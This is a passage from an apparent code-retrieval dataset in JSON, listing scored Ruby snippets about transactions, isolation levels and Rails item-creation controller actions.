"ec5ed34d167aac43fb345afa5c0a5dc1", "score": "0.49819663", "text": "def sandbox(&block)\n Module.new(&block)\nend", "title": "" }, { "docid": "8b3569b219e99d9eac85050822f6f885", "score": "0.49772185", "text": "def wrappers; end", "title": "" }, { "docid": "9adffa0e3359bf2940895e8883b99dd4", "score": "0.49687788", "text": "def create_from_env(&block)\n create(&block)\n end", "title": "" }, { "docid": "8f0f591009cb4d7018bff905ceb4cd19", "score": "0.4961435", "text": "def clone\n\n c = TransientExecutor.allocate\n\n c.instance_variable_set(:@unit, @unit)\n c.instance_variable_set(:@traps, []) # not useful for a TransientEx clone\n c.instance_variable_set(:@execution, Flor.dup(@execution))\n\n c\n end", "title": "" }, { "docid": "8f0f591009cb4d7018bff905ceb4cd19", "score": "0.4961435", "text": "def clone\n\n c = TransientExecutor.allocate\n\n c.instance_variable_set(:@unit, @unit)\n c.instance_variable_set(:@traps, []) # not useful for a TransientEx clone\n c.instance_variable_set(:@execution, Flor.dup(@execution))\n\n c\n end", "title": "" }, { "docid": "78ddc490ead66920c5873136e95c6046", "score": "0.49611944", "text": "def aol_aware_state\n super\n end", "title": "" }, { "docid": "72c14fd8dc0e1b28f5f26bc998db1359", "score": "0.49588686", "text": "def supports_transaction_isolation?\n true\n end", "title": "" }, { "docid": "0b1340fc8eb9578c877a658f34c727d8", "score": "0.49496266", "text": "def transaction(options = {}, &block)\n old_replica = nil\n begin\n old_replica = Thread.current['hr_replica']\n Thread.current[:hr_replica] = @replica_name\n @klass = @klass.transaction(options, &block)\n ensure\n Thread.current[:hr_replica] = old_replica;\n end\n end", "title": "" }, { "docid": "e15df833ea71e0d062147d874173b55f", "score": "0.49404773", "text": "def transaction\n yield\n end", "title": "" }, { "docid": "e15df833ea71e0d062147d874173b55f", "score": "0.49404773", "text": "def transaction\n yield\n end", "title": "" }, { "docid": "b7c1be94bdac94c1e8f0014a5db79914", "score": "0.4937543", "text": "def with_method_transaction; end", "title": "" }, { "docid": "b7c1be94bdac94c1e8f0014a5db79914", "score": "0.4937543", "text": "def with_method_transaction; end", "title": "" }, { "docid": "89719ac7f6ac23f1107a347c548c9e13", "score": "0.49371934", "text": "def requires_new_transaction; end", "title": "" }, { "docid": "89719ac7f6ac23f1107a347c548c9e13", "score": "0.49371934", "text": "def requires_new_transaction; end", "title": "" }, { "docid": "95ed336d58d56ada62af140aaf587362", "score": "0.49366745", "text": "def with_block(*args)\n ActiveSupport::Dependencies.interlock.permit_concurrent_loads do\n super do |dc|\n ActiveSupport::Dependencies.interlock.running do\n yield dc\n end\n end\n end\n end", "title": "" }, { "docid": "24200a08a2e022c61d23f4c58ee2eb08", "score": "0.4934558", "text": "def create( args={}, &block )\n\t\tobj = self.with_transaction do\n\t\t\tobj = self.instance( args, &block )\n\t\t\tobj = self.try_to_save( obj )\n\t\t\tobj\n\t\tend\n\n\t\treturn obj\n\tend", "title": "" }, { "docid": "b1d7f39ec8416d1f92d10f2800b7b749", "score": "0.49275964", "text": "def wrapper_scope\n raise NotImplementedError, \"wrapper_scope needs to be implemented according to your application\"\n end", "title": "" }, { "docid": "47b40cd4df6df95da8141ccaf0cf61b7", "score": "0.49269107", "text": "def stateless\n @@stateful_getter = false\n return self\n end", "title": "" }, { "docid": "e7a25fa74a59d2fbe786741a85956cc8", "score": "0.4926848", "text": "def new_isolated_subcontext\n check_overflow\n\n self.class.build(\n resource_limits: resource_limits,\n static_environments: static_environments,\n registers: Registers.new(registers),\n ).tap do |subcontext|\n subcontext.base_scope_depth = base_scope_depth + 1\n subcontext.exception_renderer = exception_renderer\n subcontext.filters = @filters\n subcontext.strainer = nil\n subcontext.errors = errors\n subcontext.warnings = warnings\n subcontext.disabled_tags = @disabled_tags\n end\n end", "title": "" }, { "docid": "828c75d21cf707b96b006858ba639e49", "score": "0.49243382", "text": "def locker(name)\n Locker.new(self, name)\n end", "title": "" }, { "docid": "da249dcd31b1216e79c75e66333058c1", "score": "0.49220616", "text": "def sdk_transaction\n @sdk_transaction ||= sdk_transaction_with_status.transaction\n end", "title": "" }, { "docid": "2c07e50a37c6fefedbc734ab06d13b0d", "score": "0.49192357", "text": "def transaction\n yield if block_given?\nend", "title": "" }, { "docid": "2e2ca39a0f25b9d039327dd10afd6e95", "score": "0.4917874", "text": "def create_spin(attrs)\n id = (@spin_counter += 1)\n attrs[:id] = id\n spin = Spin.new(attrs)\n @spins[spin.id] = spin\n spin\n end", "title": "" }, { "docid": "4ef19a69ec760c15195f78047e6dcee9", "score": "0.49077025", "text": "def new\n @instrument = Instrument.new\n end", "title": "" }, { "docid": "e36027f86473d697f75b873c3012f0b0", "score": "0.49057728", "text": "def setIsolationLevel(sLevel)\n \n @_sIsolationLevel = sLevel\n end", "title": "" }, { "docid": "9c4f404012f2dd9e14660b1537e5a2fa", "score": "0.49034506", "text": "def transaction_isolation_levels\n super.merge({ no_commit: 'NO COMMIT' })\n end", "title": "" }, { "docid": "5f037ad12c8a032a9b646f9206d21ab0", "score": "0.4902483", "text": "def set_transaction_isolation_sql(level)\n \"SET CURRENT ISOLATION #{Database::TRANSACTION_ISOLATION_LEVELS[level]}\"\n end", "title": "" }, { "docid": "7b74c66820cf02024aa38b67565f557d", "score": "0.48912898", "text": "def new(*args, &block)\n instance = new!(*args, &block)\n Wrapper.new(build(instance).to_app, instance)\n end", "title": "" } ]
b7e66327574b2acacb4f258523a407fc
TODO: Not used (after migrating to protonym history items, 12faa7ec1). Use or remove.
[ { "docid": "c09af6d6b099297fd6d4ea110f824b45", "score": "0.0", "text": "def convert_bolton_tags\n history_item = HistoryItem.find(params[:history_item_id])\n\n old_taxt = history_item.taxt\n new_taxt = Markdowns::BoltonKeysToRefTags[old_taxt]\n\n if old_taxt == new_taxt\n render js: %(AntCat.notifyError(\"Converted Bolton tags, but nothing was changed\"))\n elsif history_item.update(taxt: new_taxt)\n history_item.create_activity Activity::UPDATE, current_user, edit_summary: \"[automatic] Converted Bolton tags\"\n render js: %(AntCat.notifySuccess(\"Converted Bolton tags to: '#{new_taxt}'\"))\n else\n render js: %(AntCat.notifyError(\"Could not convert Bolton tags\"))\n end\n end", "title": "" } ]
[ { "docid": "a9ec07ae0bf57ca632a96c60ddc4498c", "score": "0.6657813", "text": "def history; end", "title": "" }, { "docid": "a9ec07ae0bf57ca632a96c60ddc4498c", "score": "0.6657813", "text": "def history; end", "title": "" }, { "docid": "a9ec07ae0bf57ca632a96c60ddc4498c", "score": "0.6657813", "text": "def history; end", "title": "" }, { "docid": "68c3706a9cf49b268ec5b7b74c8fcf99", "score": "0.64411294", "text": "def find_history; end", "title": "" }, { "docid": "68c3706a9cf49b268ec5b7b74c8fcf99", "score": "0.64411294", "text": "def find_history; end", "title": "" }, { "docid": "812ab957b88f8cadc7c440d1159fda7a", "score": "0.62673694", "text": "def history\n end", "title": "" }, { "docid": "aafbc07de270002206b1b7dc268b8c97", "score": "0.62571865", "text": "def history=(_arg0); end", "title": "" }, { "docid": "113e8fa983dae8c9d74d1fb95fa82f4f", "score": "0.6148337", "text": "def load_history; end", "title": "" }, { "docid": "113e8fa983dae8c9d74d1fb95fa82f4f", "score": "0.6148337", "text": "def load_history; end", "title": "" }, { "docid": "41ecf077c2083e76041e74233b55f419", "score": "0.6144139", "text": "def gather_history; end", "title": "" }, { "docid": "10b7a0bbb4facea7988800fa1e280b1e", "score": "0.5890472", "text": "def message_history\n end", "title": "" }, { "docid": "e6106b3f596c9e6a35606af171a2f41f", "score": "0.58708805", "text": "def _history\n fail 'Method `_history` must be implemented in SCM providers!'\n end", "title": "" }, { "docid": "563c62b62fd579737ee9c1a7b4dc1e83", "score": "0.57742524", "text": "def changes; end", "title": "" }, { "docid": "639bf75e51588d69de5b4a57738a47b5", "score": "0.5742572", "text": "def prev_item\r\n end", "title": "" }, { "docid": "f0eddcebd79b81a4ebeb1b3794dd0962", "score": "0.57369053", "text": "def historic\n end", "title": "" }, { "docid": "edfc5e76cdf5ae9f30921e89da005b75", "score": "0.5731669", "text": "def dependency_history_key; end", "title": "" }, { "docid": "edfc5e76cdf5ae9f30921e89da005b75", "score": "0.5731669", "text": "def dependency_history_key; end", "title": "" }, { "docid": "845f4ece5f732b8690025505046e0194", "score": "0.57135695", "text": "def getMyGameHistory\n \n end", "title": "" }, { "docid": "50da39d2784eed7f19cb9253764ee523", "score": "0.5676173", "text": "def get_history(rule)\n\trule.history\nend", "title": "" }, { "docid": "50da39d2784eed7f19cb9253764ee523", "score": "0.5676173", "text": "def get_history(rule)\n\trule.history\nend", "title": "" }, { "docid": "604f204becc31165c12673ef2300f0b1", "score": "0.5673821", "text": "def item; end", "title": "" }, { "docid": "604f204becc31165c12673ef2300f0b1", "score": "0.5673821", "text": "def item; end", "title": "" }, { "docid": "683b3889ac0d7566a1383819d871bb10", "score": "0.5666485", "text": "def new_item_prefix; end", "title": "" }, { "docid": "81cef49b311e6adf362245365bd7820c", "score": "0.5647882", "text": "def item_set; end", "title": "" }, { "docid": "6bac1e114b3c73e952a7428f3be4c7a5", "score": "0.5615512", "text": "def history_file; end", "title": "" }, { "docid": "6bac1e114b3c73e952a7428f3be4c7a5", "score": "0.5615512", "text": "def history_file; end", "title": "" }, { "docid": "874d1621d43cc143d36c1eeaefe37d19", "score": "0.56139416", "text": "def history=(v); end", "title": "" }, { "docid": "fe90b4a7584b5ec5e9e3392eb620d4e1", "score": "0.56100035", "text": "def added; end", "title": "" }, { "docid": "fe90b4a7584b5ec5e9e3392eb620d4e1", "score": "0.56100035", "text": "def added; end", "title": "" }, { "docid": "64622a99217d8f546c71d91aac3a181b", "score": "0.5598585", "text": "def previous_autolist; end", "title": "" }, { "docid": "b7cfdec5315b5d3c26b002081b1dbae3", "score": "0.55331147", "text": "def coming_soon; end", "title": "" }, { "docid": "e8259cd15b7cd967fcf0ed819fb27ba0", "score": "0.55164474", "text": "def backlog; end", "title": "" }, { "docid": "aa187f34dda5ef092128d046e025b944", "score": "0.5512222", "text": "def history_next\n @history.next\n @history.get\n end", "title": "" }, { "docid": "7124387e57058f4f688edbda391d9b1d", "score": "0.55059016", "text": "def history(currency)\n\t\traise NotImplementedError \"Sub class should implement #{__method__} method.\"\n\tend", "title": "" }, { "docid": "87aa803834e308d48bcb5e279a9df494", "score": "0.5501398", "text": "def saw_item(item); end", "title": "" }, { "docid": "a7738fc66213d5de1f88b2de13a0479d", "score": "0.54995424", "text": "def entry_order; end", "title": "" }, { "docid": "6998e03f85ac2b75cd2846cdf7c318fd", "score": "0.5494072", "text": "def last; history.last end", "title": "" }, { "docid": "3f72733915c62bfd6665634b37c5b502", "score": "0.54915315", "text": "def ios_historyList(client)\n\n\t\tbegin\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.HamburgerButton']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='視聴履歴']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\n\t\t\tif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='視聴履歴']\")\n\t\t\t\tputs \"::MSG:: History list opened\"\n\t\t\t\tclient.sleep(2000)\n\n\t\t\t\tif client.isElementFound(\"NATIVE\", \"text=視聴履歴がありません\")\n\t\t\t\t\tputs \"::MSG:: There is no item in history list!!!\"\n\t\t\t\telse\n\t\t\t\t\tHistoryPlay.new.ios_checkPPVorSVODorPurchased(client)\t\t\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t#client.click(\"NATIVE\", \"xpath=//*[@accessibilityIdentifier='player_button_back']\", 0, 1)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UIImageView' and @width>0 and @height>0 and ./parent::*[@accessibilityLabel='player button back']]\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"text=ホーム\", 0, 1)\n\t\trescue Exception => e\n\t\t\t$errMsgHisto = \"::MSG:: Exception occurrred while finding ELEMENT\" + e.message\n\t\tend\t\t\t\n\tend", "title": "" }, { "docid": "387c983e6bca529415e8e85f76838aec", "score": "0.5460603", "text": "def history_prev\n prev_id = @history.current[0]\n id, item = @history.prev\n if id == 0 and prev_id == -1\n @buffer.push_state\n end\n @term.print @buffer.set(item.to_s, item.to_s.length)\n end", "title": "" }, { "docid": "73ce2668a3d328fae728f92ccd9f81c9", "score": "0.5459774", "text": "def history_feed\n @history_feed ||= build_history_feed\n end", "title": "" }, { "docid": "73ce2668a3d328fae728f92ccd9f81c9", "score": "0.5459774", "text": "def history_feed\n @history_feed ||= build_history_feed\n end", "title": "" }, { "docid": "2acf6640ca2fcfa79de01718e7231ef7", "score": "0.54337645", "text": "def historyList(client)\n\n\t\tbegin\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@contentDescription='上へ移動']\", 0, 1)\n\t\t\tclient.sleep(1000)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='視聴履歴']\", 0, 1)\n\t\t\t\n\t\t\tif client.isElementFound(\"NATIVE\", \"text=視聴履歴がありません\")\n\t\t\t\tputs \"::MSG:: There is no item in history list!!!\"\n\t\t\telse\n\t\t\t\tHistoryPlay.new.checkPPVorSVODorPurchased(client)\t\t\t\n\t\t\tend\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@contentDescription='上へ移動']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"text=ホーム\", 0, 1)\n\t\trescue Exception => e\n\t\t\t$errMsgHisto = \"::MSG:: Exception occurrred while finding ELEMENT \" + e.message\n\t\tend\t\t\t\n\tend", "title": "" }, { "docid": "ba153f7e0e190b43b4fade31c119d263", "score": "0.54313684", "text": "def history; @input.history ; end", "title": "" }, { "docid": "b7567a2a68cade31f2360723a4c42dc7", "score": "0.540969", "text": "def used_by; end", "title": "" }, { "docid": "6b36ed13bd965c436b61ca68e369bd9c", "score": "0.5391263", "text": "def old; end", "title": "" }, { "docid": "4dca0e8e39887279d8691f9987bf1d88", "score": "0.5374486", "text": "def upload_history\n raise(\"Not implemented!\")\n end", "title": "" }, { "docid": "fea492263c8f1c28d3167d0066bdd0bf", "score": "0.5367213", "text": "def history\r\n @history.history\r\n end", "title": "" }, { "docid": "153820cc7732d712d37a3bd65b4100c0", "score": "0.53624254", "text": "def preliminary_items; end", "title": "" }, { "docid": "ea04f3bbaa57c3b38b02d1e9e9f30c43", "score": "0.53541684", "text": "def generate_history\n product_detail = product.product_details.where(warehouse_id: stock_opname.office_id).first_or_create\n if product_detail.present?\n old_qty = ProductMutationHistory.where(\"product_detail_id=#{product_detail.id}\").limit(1).order(\"id DESC\").last.new_quantity rescue 0\n new_quantity = qty_actual.to_i\n if new_quantity != old_qty\n begin\n pmh = ProductMutationHistory.new(\n product_detail_id: product_detail.id, old_quantity: old_qty,\n moved_quantity: new_quantity-old_qty, new_quantity: new_quantity,\n product_mutation_detail_id: id, quantity_type: 'available_qty',\n ref_code: (stock_opname.opname_number rescue '-'),\n mutation_type: 'Stock Opname', price: hpp*diff,\n ppn: (hpp*0.1 rescue 0)*diff, created_at: updated_at\n )\n pmh.save\n product_detail.update_attributes(available_qty: new_quantity)\n rescue\n raise ActiveRecord::Rollback\n end\n end\n end\n end", "title": "" }, { "docid": "b9373d21e1272f1aa0b28848d824e1f7", "score": "0.53346217", "text": "def item_names; end", "title": "" }, { "docid": "8b96becad3bdb7e92aa6c123188d55cd", "score": "0.53264004", "text": "def updated_status_bmet_item_history\n @original_bmet_work_order = BmetWorkOrder.find_by_id(self.id)\n # only create history if work order status differ, \n # so item history not created every time updated\n if @original_bmet_work_order.status != self.status \n BmetItemHistory.create(\n :bmet_item_id => self.bmet_item_id,\n :work_order_id => self.id,\n :work_order_status => self.status\n )\n end\n end", "title": "" }, { "docid": "987e4a5eddd9673eefd80d65f5894ccc", "score": "0.5310846", "text": "def history\r\n @_buffer\r\n end", "title": "" }, { "docid": "09d69ae9440159252f4b2a51c12151d0", "score": "0.5302679", "text": "def history\n structure[:history].dup\n end", "title": "" }, { "docid": "e58a5de0e9a14d214689745a7d0d52eb", "score": "0.5297622", "text": "def history\n items = YahooFinance::get_historical_quotes_days( ticker, 200 )\n items.reverse!\n items.each_with_index do |item, index|\n hash = {}\n %w{date open high low close volume adjusted_close}.each_with_index do |field, position|\n hash[field] = item[position]\n end\n items[index] = hash\n end\n end", "title": "" }, { "docid": "4019f77deecbcd920c0b244b771e4047", "score": "0.5292877", "text": "def history_back\n generic_history_back(history)\n add_to_line_history\n end", "title": "" }, { "docid": "a0671a41bc12400a6b0a1a2676b561cc", "score": "0.5285326", "text": "def added_extras; end", "title": "" }, { "docid": "364437589d73b148df1c1c573acecc1f", "score": "0.5267327", "text": "def history()\n workflow_events\n end", "title": "" }, { "docid": "417a2d10b00da68d50f7ea0454899352", "score": "0.5257519", "text": "def history(*)\n {\n foo: \"bar\",\n current_version: 4,\n versions: {\n \"1\": {bar: \"baz\", value: \"v1\", creator_id: 1},\n \"3\": {bar: \"baz\", value: \"v2\", creator_id: 1},\n \"2\": {bar: \"baz\", value: \"v2\", creator_id: 1},\n \"4\": {bar: \"baz\", value: \"v3\", creator_id: 1}\n }\n }\n end", "title": "" }, { "docid": "26009b6f8655fc78587f141ba535d2b5", "score": "0.5251997", "text": "def add_old_item\nend", "title": "" }, { "docid": "25b1f5e544d96a73cfbf352d6ece9996", "score": "0.524589", "text": "def item_changes\n (@item_changes || {})\n end", "title": "" }, { "docid": "ef7e1db67c47d962de9a8e429cdde4ef", "score": "0.5244669", "text": "def link_compensation_history\n super\n end", "title": "" }, { "docid": "88d532216925969cd3910485c22447f2", "score": "0.5243353", "text": "def history\n generic_index(true)\n end", "title": "" }, { "docid": "5184edec8701a849dd3459438f02bece", "score": "0.5235513", "text": "def updated()\n self.updateHistory()\n end", "title": "" }, { "docid": "93796fd94faf217d3f259d4b8b634f65", "score": "0.5231633", "text": "def history_item(struct)\n struct.remapkeys!\n if struct.has_key? :user and struct.has_key? :pass\n rt = RT_Client.new(:user => struct[:user], :pass => struct[:pass])\n struct.delete(:user)\n struct.delete(:pass)\n else\n rt = RT_Client.new\n end\n val = rt.history_item(struct)\n rt = nil\n val\n end", "title": "" }, { "docid": "f0bf5e844f2523c35eec2e525b1eb7ce", "score": "0.5223419", "text": "def set_previous\n if has_previous?\n position= self.current_activity.position\n self.current_activity.save \n self.current_activity = self.current_activity.higher_item\n self.current_activity.position = position\n self.current_activity.save\n self.save\n end\n end", "title": "" }, { "docid": "594fae724b6849af194bf2dae06a10f4", "score": "0.52193", "text": "def item_type; 0; end", "title": "" }, { "docid": "42435e2c54cd23b35602e4bcb94597f7", "score": "0.5219149", "text": "def history; config[:history] ||= []; end", "title": "" }, { "docid": "0e02f83784c17c376ac60c44d26d2ebb", "score": "0.52176464", "text": "def existing; end", "title": "" }, { "docid": "f46d4416fa5f144c5c8546408ede27bf", "score": "0.5217284", "text": "def test_changeable_has_history_functions \n a = Foo.new\n a.field1 = 'a'\n a.field2 = 'b'\n a.field3 = 'c'\n a.save\n a.field3 = 'a'\n a.save\n sleep 1\n a.field2 = 'a'\n a.save\n b = Foo.new\n b.field1 = 'a'\n b.field2 = 'c'\n b.field3 = 'd'\n b.save\n sleep 1\n b.field1 = 'b'\n b.save\n sleep 1\n b.field1 = 'c'\n b.save\n b.updated_at= b.updated_at+ 1.days\n b.field1 = 'd'\n c = FooHistory.new_from_changeable(b, true)\n assert_equal 2, a.changes.size\n x = b.changes[0]\n y = b.changes[1]\n z = b.changes[2]\n q = b.changes[3]\n # Check change history is ordered oldest to newest\n assert x.updated_at < y.updated_at\n assert y.updated_at < z.updated_at\n assert z.updated_at < q.updated_at\n # Check latest change is the one it should be.\n assert_equal 'd', b.latest_change.field1\n # Check syncing changeable updates field1\n assert_equal 'd', b.sync_changeable.field1\n # Check that changes are ignored for sync changeable if we throw away object.\n id = b.id\n b = Foo.find(id)\n assert_equal 'c', b.field1\n # Check that b knows it's outdated\n assert b.outdated?\n # Check that we can get b by the history item.\n b = c.changeable\n assert_kind_of(Foo, b)\n assert_equal(id, b.id)\n # Check that sync_changeable! works and saves to db\n assert_equal 'd', b.sync_changeable!.field1\n b = Foo.find(id)\n assert_equal 'd', b.field1\n # Assert there are only four changes to the db.\n assert_equal 4, b.changes.size\n end", "title": "" }, { "docid": "951465f77464fc42f458546ad6ee7b5a", "score": "0.5202415", "text": "def changeable_history_class\n self.class.changeable_history_class\n end", "title": "" }, { "docid": "ef1d8de1edccec3a664454458fd41227", "score": "0.51938576", "text": "def extra_state; end", "title": "" }, { "docid": "793d04c8ddc6062810b13baef21ae9a5", "score": "0.5193829", "text": "def history_url\n end", "title": "" }, { "docid": "778cc3784f635285f900f8625350e354", "score": "0.51910824", "text": "def get_transaction_history\n\n end", "title": "" }, { "docid": "c81efe3b6f8f34a34ca5d31fb83b1d0e", "score": "0.5188827", "text": "def store_previous(*)\n end", "title": "" }, { "docid": "6bcacd470d51c7f855f71186a7e68832", "score": "0.5181153", "text": "def change_class(history, current)\r\n history.shift if history.length == 3\r\n history.push(current)\r\n puts 'History' + history.to_s\r\nend", "title": "" }, { "docid": "1d58d51975fcbe88ff9a349657e8dd75", "score": "0.51747584", "text": "def tracker_history\n tracker_histories&.last\n end", "title": "" }, { "docid": "54292953752c723100f262b6822ee23f", "score": "0.51502204", "text": "def original_item\n @original_item\n end", "title": "" }, { "docid": "bb2e0e926c808609ec613231e86ec19b", "score": "0.5148248", "text": "def on_qsymbols_new; end", "title": "" }, { "docid": "18ebabc96f1b0df1254821c45ea82543", "score": "0.5145593", "text": "def history\n return @history if @history\n\n path = self.class.get_path\n path = [path, id, 'history'].join '/'\n last_response = self.class.get(path)\n data = last_response['history'].try(:[], 'historyItem')\n @history = CapsuleCRM::HistoryItem.init_many(self, data)\n end", "title": "" }, { "docid": "cdceef7871c8f0578a4f3e8d16425777", "score": "0.51377344", "text": "def update_line_item\n\n end", "title": "" }, { "docid": "e1687afdb534cb0d655fe45cc6a0c10c", "score": "0.5127613", "text": "def by_process(wfid)\n\n @context.storage.get_many('history', wfid)\n end", "title": "" }, { "docid": "8ee2a6c1da2b1fbd85aceda737e42d17", "score": "0.51270056", "text": "def update_payment_history\n end", "title": "" }, { "docid": "0f7db144e0712ed357e57eb7cd635ee3", "score": "0.51239127", "text": "def artists_abrv(item)\n item.artists_last\n end", "title": "" }, { "docid": "b08b24b03be2813871a0acb6dec40b06", "score": "0.5122796", "text": "def on_redo; end", "title": "" }, { "docid": "05872c86d9e1a95cf7282850f5f0c6f2", "score": "0.5122127", "text": "def ordering_registry; end", "title": "" }, { "docid": "5b887a8b27c57927980049967c128b0a", "score": "0.51118803", "text": "def next_item\r\n end", "title": "" }, { "docid": "1c709e6047dee3022a362eb47e365c82", "score": "0.5108639", "text": "def hook; end", "title": "" }, { "docid": "1c709e6047dee3022a362eb47e365c82", "score": "0.5108639", "text": "def hook; end", "title": "" }, { "docid": "1c709e6047dee3022a362eb47e365c82", "score": "0.5108639", "text": "def hook; end", "title": "" }, { "docid": "1c709e6047dee3022a362eb47e365c82", "score": "0.5108639", "text": "def hook; end", "title": "" }, { "docid": "bd78c784bb7799c9e7d3803b03b26621", "score": "0.51067567", "text": "def changes_applied; end", "title": "" }, { "docid": "bd78c784bb7799c9e7d3803b03b26621", "score": "0.51067567", "text": "def changes_applied; end", "title": "" }, { "docid": "7eebae71605fa2c3423a1f447c26e403", "score": "0.5105175", "text": "def social_history_past_meth(shp)\n social_history_past.each do|sh|\n sh.click if sh.text == shp\n end\n end", "title": "" }, { "docid": "8f0ea47317e73fd889be3fef5ad3f54a", "score": "0.5093387", "text": "def version_history\n res = []\n event = 'create'\n author = user\n versions.each do |version|\n # some old entries still include create actions\n # TODO remove next line\n next if version.event == 'create'\n res << {\n obj: version.reify,\n event: event,\n author: author\n }\n event = version.event\n author = User.find_by_id(version.whodunnit.to_i)\n end\n res << {\n obj: self,\n event: event,\n author: author\n }\n end", "title": "" }, { "docid": "66627177646d1ceb9f70d9440a719501", "score": "0.5092745", "text": "def order; end", "title": "" }, { "docid": "809762c22429584ac17a22578fa8d0fd", "score": "0.5088227", "text": "def after_changeable_create\n self.changeable_history_class.new_from_changeable(self, true) unless self.no_history\n self.no_history = false\n true\n end", "title": "" }, { "docid": "4da8868532f3807d018922db9883350d", "score": "0.5086618", "text": "def store_update\n histo = histories.build(\n new_item: false, history_data: get_data,\n historiable_type: self.class.to_s, user_id: history_user_id)\n # Required otherwise it cleans when saving other details ex.(expense_details = true)\n histo.history_data['updated_at'] = {'from' => updated_at, 'to' => DateTime.now, 'type' => 'datetime'}\n\n history_instance.set_history(self, histo)\n\n histo\n end", "title": "" }, { "docid": "7ad722d997a717a4d86410cb3f9e0fe1", "score": "0.50832486", "text": "def item=(_); end", "title": "" }, { "docid": "f0e7c8a4f10061cc13cd41c293de5b29", "score": "0.50829524", "text": "def process_next_entry; end", "title": "" }, { "docid": "f0e7c8a4f10061cc13cd41c293de5b29", "score": "0.50829524", "text": "def process_next_entry; end", "title": "" }, { "docid": "b1b6408caaf6e065f342c400324da11e", "score": "0.5077153", "text": "def base_item\n source_item\n end", "title": "" } ]
49624944853c0631abb952b49825eced
POST /specific_items POST /specific_items.json
[ { "docid": "6c180452c374bb24e842fa64c6f9333d", "score": "0.62488925", "text": "def create\n @specific_item = SpecificItem.new(specific_item_params)\n increase_inventory_item(@specific_item)\n # binding.pry\n respond_to do |format|\n if @specific_item.save\n format.html { redirect_to @specific_item, notice: 'Specific item was successfully created.' }\n format.json { render :show, status: :created, location: @specific_item }\n else\n format.html { render :new }\n format.json { render json: @specific_item.errors, status: :unprocessable_entity }\n end \n end \n end", "title": "" } ]
[ { "docid": "8f95ef9a265b49408e0f82eb5fc282c4", "score": "0.6590171", "text": "def create\n @specific_item = SpecificItem.new(params[:specific_item])\n\n respond_to do |format|\n if @specific_item.save\n format.html { redirect_to :back, :notice => t('notice.successfully_created') }\n format.json { render :json => @specific_item, :status => :created, :location => @specific_item }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @specific_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "719fa10abbc60d7393e821b0b2a73dbe", "score": "0.6504578", "text": "def create(params)\n @client.make_request(:post, 'customs_items', MODEL_CLASS, params)\n end", "title": "" }, { "docid": "1a87b6b1a8f3fc007c549688390eae3f", "score": "0.6483534", "text": "def create_item\n item = @list.items.create(:title => params[:title], :details => params[:details], :deadline => params[:deadline], :tags => params[:tags])\n render json: { item: item }\n end", "title": "" }, { "docid": "d935cad2d3be8481051ea35234b344d7", "score": "0.6450342", "text": "def specific_item_params\n params.require(:specific_item).permit(:inventory_item_id, :serial_number, :inventory_item)\n end", "title": "" }, { "docid": "179e2c4ed0ee7f520c6a89d0a832385d", "score": "0.63394207", "text": "def post_body\n {\n \"item\": {\n \"name\": name\n }\n }.to_json\n end", "title": "" }, { "docid": "90733efeb5f56406313ddb98a0693260", "score": "0.62405884", "text": "def create\n item = Item.create! params\n \n render :json => item\n end", "title": "" }, { "docid": "496a0af9bcc64678c3bf2a22d89f62cc", "score": "0.6237762", "text": "def create\n @new_item = Item.new(items_params)\n @new_item.list_id = params[:list_id]\n if @new_item.save!\n render :json => @new_item\n else\n render :json => {\n :response => \"Unable to create a new item\",\n :data => @new_item\n }\n end\n end", "title": "" }, { "docid": "8dbd2dd122a6fc4732b83926f5b97c34", "score": "0.6134429", "text": "def create_item(options={})\n self.class.post(\"/items.json?apikey=#{apikey}\", :query => { :item => options })\n end", "title": "" }, { "docid": "478e5de1cc8f238c757740158d0d5d1a", "score": "0.61312896", "text": "def items_params\n params.permit(:items => [:id, :quant])\n end", "title": "" }, { "docid": "a752f3b1e7ea223f8edd6b6e2c401e99", "score": "0.61290085", "text": "def create\n item = Item.new(item_params.to_hash)\n if item.create\n render status: :ok, json: item.data\n else\n render status: :unprocessable_entity, json: { error: item.errors }\n end\n end", "title": "" }, { "docid": "a8bdb7132ed6b110d2f7eb4e15f3a85c", "score": "0.61241865", "text": "def request_body items\n { type: type, action: action, domain: domain, objects: items }.to_json\n end", "title": "" }, { "docid": "0c7020064fba92f65514122f894c5491", "score": "0.60980946", "text": "def addItemsToRequest(item_ids, request_id)\n for item_id in item_ids\n unless item_id.length < 1 # Rails checkboxes, if not checked, passes in \"\"\n request_item = RequestItem.new(item_id: item_id, request_id: request_id)\n if request_item.valid?\n request_item.save\n end\n end\n end\n end", "title": "" }, { "docid": "44f43983332e9db08e21dce98bdddfd1", "score": "0.6098075", "text": "def create\n @api_item = Item.new(api_item_params)\n\n if @api_item.save\n @api_items = Item.order(:name)\n render :index, status: :created\n else\n render json: @api_item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "630a1f9fabeb8855a74179379ffc8a1a", "score": "0.6085962", "text": "def create\n @item = Item.new(item_params)\n\n if @item.save\n render json: @item, status: :created\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ebb942692b2b29b333f8e32d39c07c4c", "score": "0.6081019", "text": "def post(collection, body)\n send_request :post, [collection], { body: body, response: API::ItemResponse }\n end", "title": "" }, { "docid": "79218cfbf2da0de6946ddf6ca4f67d1d", "score": "0.6071232", "text": "def create\n item_types = params[:item_type].downcase.pluralize\n\n if PermissionsService.new(current_user, @lab).can_write?(item_types)\n items = @lab.send(item_types).where(:id => params[:item_ids])\n\n items.each do |item|\n ItemTagService.new(current_user, item).add_tag(params[:name])\n end\n\n render_json_success({\n :items => items.collect { |item| item.as_indexed_json }\n })\n else\n render_permission_error\n end\n end", "title": "" }, { "docid": 